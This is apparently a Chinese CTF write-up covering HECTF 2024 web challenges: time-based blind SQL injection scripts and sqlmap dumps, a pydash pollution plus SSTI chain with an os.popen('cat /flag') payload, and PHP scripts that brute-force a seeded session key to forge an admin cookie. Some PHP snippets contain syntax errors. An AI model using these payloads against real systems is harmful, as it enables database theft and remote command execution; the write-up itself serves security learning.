2024HECTFweb

babysql

直接万能密码过

image-20241208124649630

进入查询后台

测试发现是盲注,可以使用布尔盲注,这里采用时间盲注

接下来就是脚本

image-20241208124958291

首先跑一个fuzz字典看有哪儿些东西被过滤了

可以看到有些重要的东西也被过滤了,像空格,information_schema

image-20241208133152929

测试

from requests import post

base_url = 'xxx/worker.php'

payload = "1'/**/or/**/if((select/**/database())like/**/database(),sleep(3),0)#"
data = {"name":payload}

def check_time(data):
    try:
        res=post(base_url, data=data,timeout=2)
        #如果没有超时说明失败了
        return "failure"
    except:
        return "success"

print(check_time(data))

image-20241208141019513

解下来就可以打时间盲注了

脚本网上有很多,这里就不写那么全面了,简单的认识前面几个,后面的也就是payload变化一下

from requests import post
import string
import time

base_url = 'xxx/worker.php'

alpha="{_}[]-"+ string.ascii_letters + string.digits

#payload = "1'/**/or/**/if((select/**/database())like/**/database(),sleep(3),0)#"
#data = {"name":payload}

def check_time(data):
    try:
        res=post(base_url, data=data,timeout=20)
        #如果没有超时说明失败了
        return "failure"
    except Exception as e:
        return "success"

#时间盲注爆破数据库长度函数
# def db_name_len():
#     i=1
#     while True:
#         payload="hh'/**/or/**/if((select/**/length(database()))/**/like/**/{},sleep(20),sleep(0))#".format(i)
#         data={"name":payload}
#         time.sleep(0.3)
#
#         if check_time(data) == "success":
#             print("数据库长度: %d"%i)
#             return i
#         i += 1
#         print(i)
#数据库长度为7
#db_name_len()

#爆破数据库名
def brust_sce_name():
    name=""
    for i in range(1,8):
        for j in alpha:
            #payload= "hh'/**/or/**/if(substr(database(),{},1)/**/like/**/'{}',sleep(20),sleep(0))#".format(i,j)
            payload = "g01den'/**/Or/**/if(substr(database(),{},1)/**/like/**/'{}',sLeep(20),sLeep(0))#".format(i,j)
            data = {"name":payload}
            time.sleep(0.3)
            if check_time(data) == "success":
                name += j
                break
    print("数据库的名字是: "+name)
    return name


brust_sce_name()

这里有个坑点就是过滤了information_schema, g01den师傅还是想来喜欢被暴打,出的题就是有水平

这里可以使用mysql的innodb来绕过:mysql.innodb_table_stats mysql.innodb_index_stats

可以大致看看这里面有些什么东西

select * from innodb_index_stats

| database_name    | varchar(64)         | NO   | PRI | NULL              |                             |

| table_name       | varchar(64)         | NO   | PRI | NULL              |                             |

| index_name       | varchar(64)         | NO   | PRI | NULL              |                             |

| last_update      | timestamp           | NO   |     | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |

| stat_name        | varchar(64)         | NO   | PRI | NULL              |                             |

| stat_value       | bigint(20) unsigned | NO   |     | NULL              |                             |

| sample_size      | bigint(20) unsigned | YES  |     | NULL              |                             |

| stat_description | varchar(1024)       | NO   |     | NULL              |                             |



database_name 数据库名

table_name 表名

index_name 索引名

last_update 最后一次更新时间

stat_name 统计名

stat_value 统计值

sample_size 样本大小

stat_description 统计说明-索引对应的字段名

mysql.innodb_index_stats

Innodb_table_stats 

| database_name            | varchar(64)         | NO   | PRI | NULL              |                             |

| table_name               | varchar(64)         | NO   | PRI | NULL              |                             |

| last_update              | timestamp           | NO   |     | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |

| n_rows                   | bigint(20) unsigned | NO   |     | NULL              |                             |

| clustered_index_size     | bigint(20) unsigned | NO   |     | NULL              |                             |

| sum_of_other_index_sizes | bigint(20) unsigned | NO   |     | NULL              |                            

database_name 数据库名

table_name 表名

last_update 最后一次更新时间

n_rows 表中总有多少列数据

clustered_index_size 聚集索引大小(数据页)

sum_of_other_index_sizes 其他索引大小(数据页)
import time

def db_name_count():
    i = 1
    while True:
        payload = (
            "g01den'/**/Or/**/if((seLect/**/COUNT(database_name)/**/fRom/**/mysql.innodb_table_stats)"
            "/**/like/**/{},sLeep(20),sLeep(0))#".format(i)
        )
        data = {"name": payload}
        # print(payload)
        time.sleep(0.3)
        if istime(data) == "timeout":
            print("数据库的个数为" + str(i))
            return i
        i += 1

def db_name_len_list():
    name_len_list = []
    for i in range(4):
        for j in range(100):
            payload = (
                "g01den'/**/Or/**/if((select/**/length(database_name)/**/from/**/mysql.innodb_table_stats"
                "/**/limit/**/{},1)/**/like/**/{},sleep(20),sleep(0))#".format(i, j)
            )
            data = {"name": payload}
            # print(payload)
            time.sleep(0.3)
            if istime(data) == "timeout":
                name_len_list.append(j)
                break
    print(name_len_list)
    return name_len_list

# 示例调用函数
# db_name_count()
# db_name_len_list()

以上方法很看基本功,这个题目,很多师傅都用sqlmap一把嗦出来了。

sqlmap -u “xxx/index.php” -data “name=admin&pw=-1” –dbs - -dump

available databases [7]:
[*] flag1shere
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] users
[*] workers
Database: users
Table: login
[2 entries]
+----+----------------------------------+----------+
| id | passwd | username |
+----+----------------------------------+----------+
| 0 | fc2ce1340d3eaa16d68dbfb35d3aaac6 | admin |
| 1 | 50590173d2888d5e33742cd68d02efad | test |
+----+----------------------------------+----------+

sqlmap -u “http://8.153.107.216:30326/index.php” -data “name=admin&pw=-1” –

tables -D “flag1shere” –dump

[22:12:32] [INFO] retrieved:
[22:12:38] [INFO] adjusting time delay to 1 second due to good response times
flag_is_
[22:13:16] [ERROR] invalid character detected. retrying..
[22:13:16] [WARNING] increasing time delay to 2 seconds
in_flag1shere_loockhere_flag
[22:16:40] [INFO] retrieved: lookhere
Database: flag1shere
[2 tables]
+--------------------------------------+
| flag_is_in_flag1shere_loockhere_flag |
| lookhere |
+--------------------------------------+
[22:17:38] [INFO] fetching columns for table
'flag_is_in_flag1shere_loockhere_flag' in database 'flag1shere'
[22:17:38] [INFO] retrieved: 1
[22:17:41] [INFO] retrieved: hint
[22:18:15] [INFO] fetching entries for table
'flag_is_in_flag1shere_loockhere_flag' in database 'flag1shere'
[22:18:15] [INFO] fetching number of entries for table
'flag_is_in_flag1shere_loockhere_flag' in database 'flag1shere'
[22:18:15] [INFO] retrieved: 1
[22:18:18] [WARNING] (case) time-based comparison requires reset of statistical
model, please wait.............................. (done)
flag is in flag1shere.lookhere.flag
Database: flag1shere
Table: flag_is_in_flag1shere_loockhere_flag
[1 entry]
+-------------------------------------+
| hint |
+-------------------------------------+
| flag is in flag1shere.lookhere.flag |
+-------------------------------------+
[22:22:28] [INFO] table 'flag1shere.flag_is_in_flag1shere_loockhere_flag' dumped
to CSV file
'/root/.local/share/sqlmap/output/8.153.107.216/dump/flag1shere/flag_is_in_flag1
shere_loockhere_flag.csv'
[22:22:28] [INFO] fetching columns for table 'lookhere' in database 'flag1shere'
[22:22:28] [INFO] retrieved: 1
[22:22:30] [INFO] retrieved: flag
[22:22:57] [INFO] fetching entries for table 'lookhere' in database 'flag1shere'
[22:22:57] [INFO] fetching number of entries for table 'lookhere' in database
'flag1shere'
[22:22:57] [INFO] retrieved: 1
[22:22:59] [WARNING] (case) time-based comparison requires reset of statistical
model, please wait.............................. (done)
HECTF{df1b330bbc22
[22:24:51] [INFO] adjusting time delay to 1 second due to good response times
80e5021137e34461c224907f45c3}
Database: flag1shere
Table: lookhere
[1 entry]
+-------------------------------------------------+
| flag |
+-------------------------------------------------+
| HECTF{df1b330bbc2280e5021137e34461c224907f45c3} |
+-------------------------------------------------+
[22:26:40] [INFO] table 'flag1shere.lookhere' dumped to CSV file
'/root/.local/share/sqlmap/output/8.153.107.216/dump/flag1shere/lookhere.csv'
[22:26:40] [INFO] fetched data logged to text files under
'/root/.local/share/sqlmap/output/8.153.107.216'
[22:26:40] [WARNING] your sqlmap version is outdated
[*] ending @ 22:26:40 /2024-12-07/
得到
HECTF{df1b330bbc2280e5021137e34461c224907f45c3}

你一个人专属的进货网站:

两个文件app.py和Wav.py

Wav.py

blacklist = [
    xxxxxxxx
]
def waf(strings):
    for temp in blacklist:
        if temp in strings:
            return True
        else:
            pass
    return False

app.py

"""
题目描述:w41tm00n第一次学习开发网站,老板让他三天之内搞定。
        第二天,w41tm00n终于写完了代码,并且进行了调试,网站在服务器上能够正常运行,但是w41tm00n没学过网安的知识,写的网站存在漏洞
        你作为w41tm00n的好朋友,同时你也是位网安的实习生,w41tm00n就找到了你帮他测试网站是否存在漏洞。
        w41tm00n跟你说,他放了一个惊喜在服务器上,如果你成功入侵了这个服务器的话就可以得到这个礼物的线索(/flag文件)
"""
import WAF
import os
from flask import Flask, render_template, redirect, request, session,render_template_string
from pydash import set_
#pip install -v pydash==5.1.2

app = Flask(__name__)

app.secret_key = os.urandom(24)
login = 0
user = None
class Users:
    def __init__(self, username, password,gender="secret"):
        self.username = username
        self.password = password
        self.gender = gender
        self.property = 0
        self.purchased = 0

class Apple:
    def __init__(self):
        self.price = 15
        self.inventory = 1000

apple = Apple()

def veryfy():
    if session.get('verify') == "admin":
        return True
    else:
        return False



@app.route('/')
def main():
    if not session.get('username'):
        return redirect("/login",302)
    else:
        return render_template("index.html")

@app.route('/login', methods=['GET','POST'])
def login():
    try:
        username = request.form['username']
        password = request.form['password']
    except KeyError:
        username = None
        password = None
    if username and password:
        global login
        global user
        login= 1
        user = Users(username, password)
        session['username'] = user.username
        session['password'] = user.password
        session['verify'] = "user"
        return redirect("/",302)
    else:
        return render_template('login.html')

@app.route('/admin', methods=['GET','POST'])
def admin():
    if veryfy() == True:
        render_html = """
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>你好admin</title>
        </head>
        <body>
        
        当前管理员账户的用户名:%s  </br>
        剩余苹果数量为:%d </br>
        <a href="/stock"><button>重新进或1000苹果</button></a>
        
        
        </br>
        <a href="/"><button>主页</button></a>
        </body>
        </html>
        """
        if WAF.waf(user.username):
            return """
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>NO,Hacker</title>
        </head>
        <body>
        <script>
            alert("No,Hacker");
            location.href = "/login";
        </script>
        
        </br>
        </body>
        </html>
        """
        else:
            return render_template_string(render_html%(user.username,apple.inventory))
    else:
        return render_template("admin_false.html")

@app.route('/setUserInfo', methods=['GET','POST'])
def setUserInfo():
    if request.method == 'GET':
        if login == 1:
            return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)
        else:
            return redirect("/login",302)
    if request.method == 'POST':
        try:
            key = request.form['key']
            value = request.form['value']
        except KeyError:
            key = None
            value = None
        if key and value:
            if key == "username":
                session["username"] = key
            elif key == "password":
                session["password"] = key
            set_(user,key,value)
            return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)
        else:
            return "输入异常!"

@app.route("/purchase",methods=['GET','POST'])
def purchase():
    if request.method == 'GET':
        return render_template("purchase.html",apple_price=apple.price,apple_inventory=apple.inventory)
    if request.method == 'POST':
        try:
            count = int(request.form['count'])
        except KeyError:
            count = 0
        if count != 0:
            if count > apple.inventory:
                return """
                <!DOCTYPE html>
                <html lang="en">
                <head>
                    <meta charset="UTF-8">
                    <title>存货不足</title>
                </head>
                <body>
                存货不足,请等待进货
                </body>
                <script>
                    alert("存货不足,请等待进货");
                    location.href = "/purchase";
                </script>
                
                </html>
                """

            if user.property >= apple.price * count:
                user.purchased += count
                apple.inventory -= count
                user.property -= apple.price * count
                return render_template("purchase.html",apple_price=apple.price,apple_inventory=apple.inventory)
            else:
                return """
                <!DOCTYPE html>
                <html lang="en">
                <head>
                    <meta charset="UTF-8">
                    <title>金额不足</title>
                </head>
                <body>
                金额不足,请充值
                </body>
                <script>
                    alert("金额不足,请充值");
                    location.href = "/purchase";
                </script>
                
                </html>
                """

@app.route("/stock", methods=["GET", "POST"])
def stock():
    if veryfy() == True:
        apple.inventory = 1000
        return """
                <script>
                    location.href = "/admin";
                </script>
                """
    else:
        return """
                <!DOCTYPE html>
                <html lang="en">
                <head>
                    <meta charset="UTF-8">
                    <title>权限不足</title>
                </head>
                <body>
                权限不足
                </body>
                <script>
                    alert("权限不足");
                    location.href = "/login";
                </script>
                
                </html>
                """

if __name__ == '__main__':
    app.run()

来看几个关键的点

admin路由很明显有ssti

一个session的admin验证:veryfy() == True

一个黑名单的检查:if WAF.waf(user.username):

@app.route('/admin', methods=['GET','POST'])
def admin():
    if veryfy() == True:
        render_html = """
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>你好admin</title>
        </head>
        <body>
        
        当前管理员账户的用户名:%s  </br>
        剩余苹果数量为:%d </br>
        <a href="/stock"><button>重新进或1000苹果</button></a>
        
        
        </br>
        <a href="/"><button>主页</button></a>
        </body>
        </html>
        """
        if WAF.waf(user.username):
            return """
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>NO,Hacker</title>
        </head>
        <body>
        <script>
            alert("No,Hacker");
            location.href = "/login";
        </script>
        
        </br>
        </body>
        </html>
        """
        else:
            return render_template_string(render_html%(user.username,apple.inventory))
    else:
        return render_template("admin_false.html")

setUserInfo路由很明显有原型链污染漏洞

@app.route('/setUserInfo', methods=['GET','POST'])
def setUserInfo():
    if request.method == 'GET':
        if login == 1:
            return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)
        else:
            return redirect("/login",302)
    if request.method == 'POST':
        try:
            key = request.form['key']
            value = request.form['value']
        except KeyError:
            key = None
            value = None
        if key and value:
            if key == "username":
                session["username"] = key
            elif key == "password":
                session["password"] = key
            set_(user,key,value)
            return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)
        else:
            return "输入异常!"

所以攻击思路也很明确,伪造session,进入admin路由,进行绕过黑名单的ssti

app.secret_key = os.urandom(24)

os.urandom(24):
os.urandom() 函数从操作系统提供的随机数生成器中获取指定数量的随机字节。在这个例子中,24 表示获取 24 个字节(即 192 位)的随机数据。
这些随机字节可以用来创建一个强随机的密钥,这对于提高应用程序的安全性至关重要。

app.secret_key:
在 Flask 中,secret_key 是一个配置变量,用于对会话数据进行加密签名。这意味着当用户与你的应用交互时,他们的会话信息(如登录状态、购物车内容等)将被加密存储在浏览器的 cookie 中。
如果没有设置 secret_key,Flask 将无法正确地管理会话,并且可能会抛出警告或错误。
这个密钥不是伪随机数,没办法逆向破解,其他师傅在这儿也开玩笑的说除非搬出量子计算机

所以既然有原型链污染漏洞,那么我们就直接去污染这个secret_key,然后利用脚本破解或工具原始数据格式,伪造admin

set_(user,key,value)

key=__class__.__init__.__globals__.app.config.SECRET_KRY&value=123456

这里直接引用其他师傅的话

进⼊后测试ssti,发现waf把{{}}和{%%}全部拦截,那就没有payload可以打通了。

这里就很恶心了,blacklist几乎过滤掉了能想到的所有东西(赛后放出了看了)

但是我们有原型链污染这个洞,WAF是导⼊的WAF类,⾥⾯有blacklist属性,那我们可以污染

上面这句话就是解题的关键,当时我就跟本没利用好原型链污染这个洞,没有想到还可以打waf,也是学到了

blacklist为空,那么waf就失效了,payload:

key=class.init.globals.WAF.blacklist&value=[]

既然waf没了,那么随便拿个payload都能打

先改waf,然后ssti读flag,最访问admin路由即可 /admin

POST /setUserInfo
key=__class__.__init__.__globals__.WAF.blacklist&value=1&Button=%E6%8F%90%E4%B
A%A4
POST /setUserInfo
key=username&value={{cycler.__init__.__globals__.os.popen('cat
/flag').read()}}&Button=%E6%8F%90%E4%BA%A4

这里粘一下大佬师傅的其他打法

image-20241211211815000

ezweb

这道题,比赛的时候没有怎么看,现在回头复现一下

前端源码发现一串base64编码,base64解码后得到:

if ($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])) {
    if ($_GET['c'] != $_GET['d'] && md5($_GET['c']) === md5($_GET['d'])) {
        if (isset($_GET['guess']) && md5($_GET['guess']) === 'aa476cf7143fe69c29b36e4d0a793604') { //xxxxx2024
            highlight_file("secret.php");
        }
    }
}

第一层是md5弱比较可以使用0e绕过,第二层是md5强比较,用数组或者碰撞绕过。第三层,是hectf2024的提示,xxxx不确定大小写,需要用脚本跑。

import hashlib

def generate_case_combinations(word):
    combinations = []
    length = len(word)
    for i in range(2 ** length):
        combination = ''
        for j in range(length):
            if (i >> j) & 1: #一趟i逐步移动5位,也就是length的长度,然后每次比较最右边的一位,1大写,0小写
                combination += word[j].upper()
            else:
                combination += word[j].lower()
        combinations.append(combination)
    return combinations
# 获取所有大小写组合并存储在列表中
combinations_list = generate_case_combinations("hectf")

# 打印结果
# for combo in combinations_list:
#     print(combo)

with open('a.txt','w') as f:
    for line in combinations_list:
        f.write(line + '\n')
print("finish write")


with open('a.txt','r') as f :
    listOfLines = f.readlines()

for line in listOfLines:
    md5hash = hashlib.md5(line.strip().encode())
    md5 = md5hash.hexdigest()
    print(md5)

payload:GET:?a=QNKCDZO&b=240610708&c[]=0&d[]=1&guess=hECTf2024

得到secret.php

<?php
error_reporting(0);

// mt_srand(rand(1e5, 1e7));
// $key = rand();
// file_put_contents(*, $key);

function session_decrypt($session, $key)
{
    $data = base64_decode($session);
    $method = 'AES-256-CBC';
    $iv_size = openssl_cipher_iv_length($method);
    $iv = substr($data, 0, $iv_size);
    $enc = substr($data, $iv_size);
    return openssl_decrypt($enc, $method, $key, 1, $iv);
}
rand(1e5, 1e7) 实际上是在生成一个介于 100,000 和 10,000,000 之间的随机整数。

这里借用其他师傅的解答和思路,在这里先谢谢师傅的优质wp

image-20241216162914096

接下来给出的是一个session解密代码,虽然key是随机的,但是种子范围很小,可以进行爆破,爆破所得的是一串序列化文本,然后修改相应数据为admin,再次进行加密,更改cookie并发送请求就可以获得flag

运行爆破的密码:

<?php
    function session_decrypt($session,$key){
    $data=base64_decode($session);
    $method='AES-256-CBC';
    $iv_size=openssl_cipher_iv_length($method);
    $iv=substr($data,0,$iv_size);
    $enc=substr($data,$iv_size);
    return openssl_decrypt($enc,$method,$key,1,$iv);
}
$session="cAVQ3Rj2B26JBY2/zJZTfQcjdLCeBz6XTf1ShPbkQI71rJxMV43Dya/V7+Jb5gdDV+m20B4U1rA DwjZATnoc6Pn5nXtUEg+mfjTq+3wAGp7FqPY2XEVvZ0440B3AvxRF";
for($i=1e5;$i<=1e7;i++)
{
    mt_srand($i);
    key=rand();
    $t=session_decrypt($session,$key);
    if($t[0]!="")
    {
        echo $i;
        echo ' ';
        echo $t;
        echo PHP_EOL;
    }
}

爆破结果

image-20241216164255988

重新加密运行的代码

<?php
    function session_decrypt($session,$key){
    $data=base64_decode($session);
    $method='AES-256-CBC';
    $iv_size=openssl_cipher_iv_length($method);
    $iv=substr($data,0,$iv_size);
    $enc=substr($data,$iv_size);
    return openssl_decrypt($enc,$method,$key,1,$iv);
}
function session_encrypt($data,$key){
    $method = 'AES-256-CBC';
    $iv_size = openssl_cipher_iv_length($method);
    $iv = openssl_random_pseudo_bytes($iv_size);
    $encrypted = openssl_encrypt($data,$method,$key,1,$iv);
    $result = base64_encode($iv . $encrypted);
    return $result;
}
$session="O:4:\"User\":2:{s:8:\"username";s:5:\"admin\";s:4\"role";s:5:\"admin\";}";
$i=42984744;
{
    mt_srand($i);
    $key = rand();
    $t=session_encrypt($session,$key);
    {
        echo $i;
        echo ' ';
        echo "$key";
        echo ' ';
        echo $t;
        echo PHP_EOL;
    }
    echo session_decrypt($t,$key);
}

官方exp

<?php
error_reporting(0);

function session_encrypt($message, $key)
{
    $method = 'AES-256-CBC';
    $iv_size = openssl_cipher_iv_length($method);
    $iv = openssl_random_pseudo_bytes($iv_size);
    $enc = openssl_encrypt($message, $method, $key, OPENSSL_RAW_DATA, $iv);
    return base64_encode($iv . $enc);
}

function session_decrypt($session, $key)
{
    $data = base64_decode($session);
    $method = 'AES-256-CBC';
    $iv_size = openssl_cipher_iv_length($method);
    $iv = substr($data, 0, $iv_size);
    $enc = substr($data, $iv_size);
    return openssl_decrypt($enc, $method, $key, OPENSSL_RAW_DATA, $iv);
}

$token = urldecode("token");

for ($i = 1e5; $i <= 1e7; $i++) {
    mt_srand($i);
    $key = rand();
    if (strpos(session_decrypt($token, $key), "guest") !== false) {
        echo "Find it: " . $key;
        var_dump(session_decrypt($token, $key));
        break;
    }
}

var_dump(session_encrypt('O:4:"User":2:{s:8:"username";s:5:"guest";s:4:"role";s:5:"admin";}', $key));

ezjava

还有一道java题,由于javaweb很生疏,所以这个就留到不久的将来复现吧

至此

2024HECTF的篇章差不多要翻页了!✌️

🥳🥳🥳

真的学无♾️📖📖📖…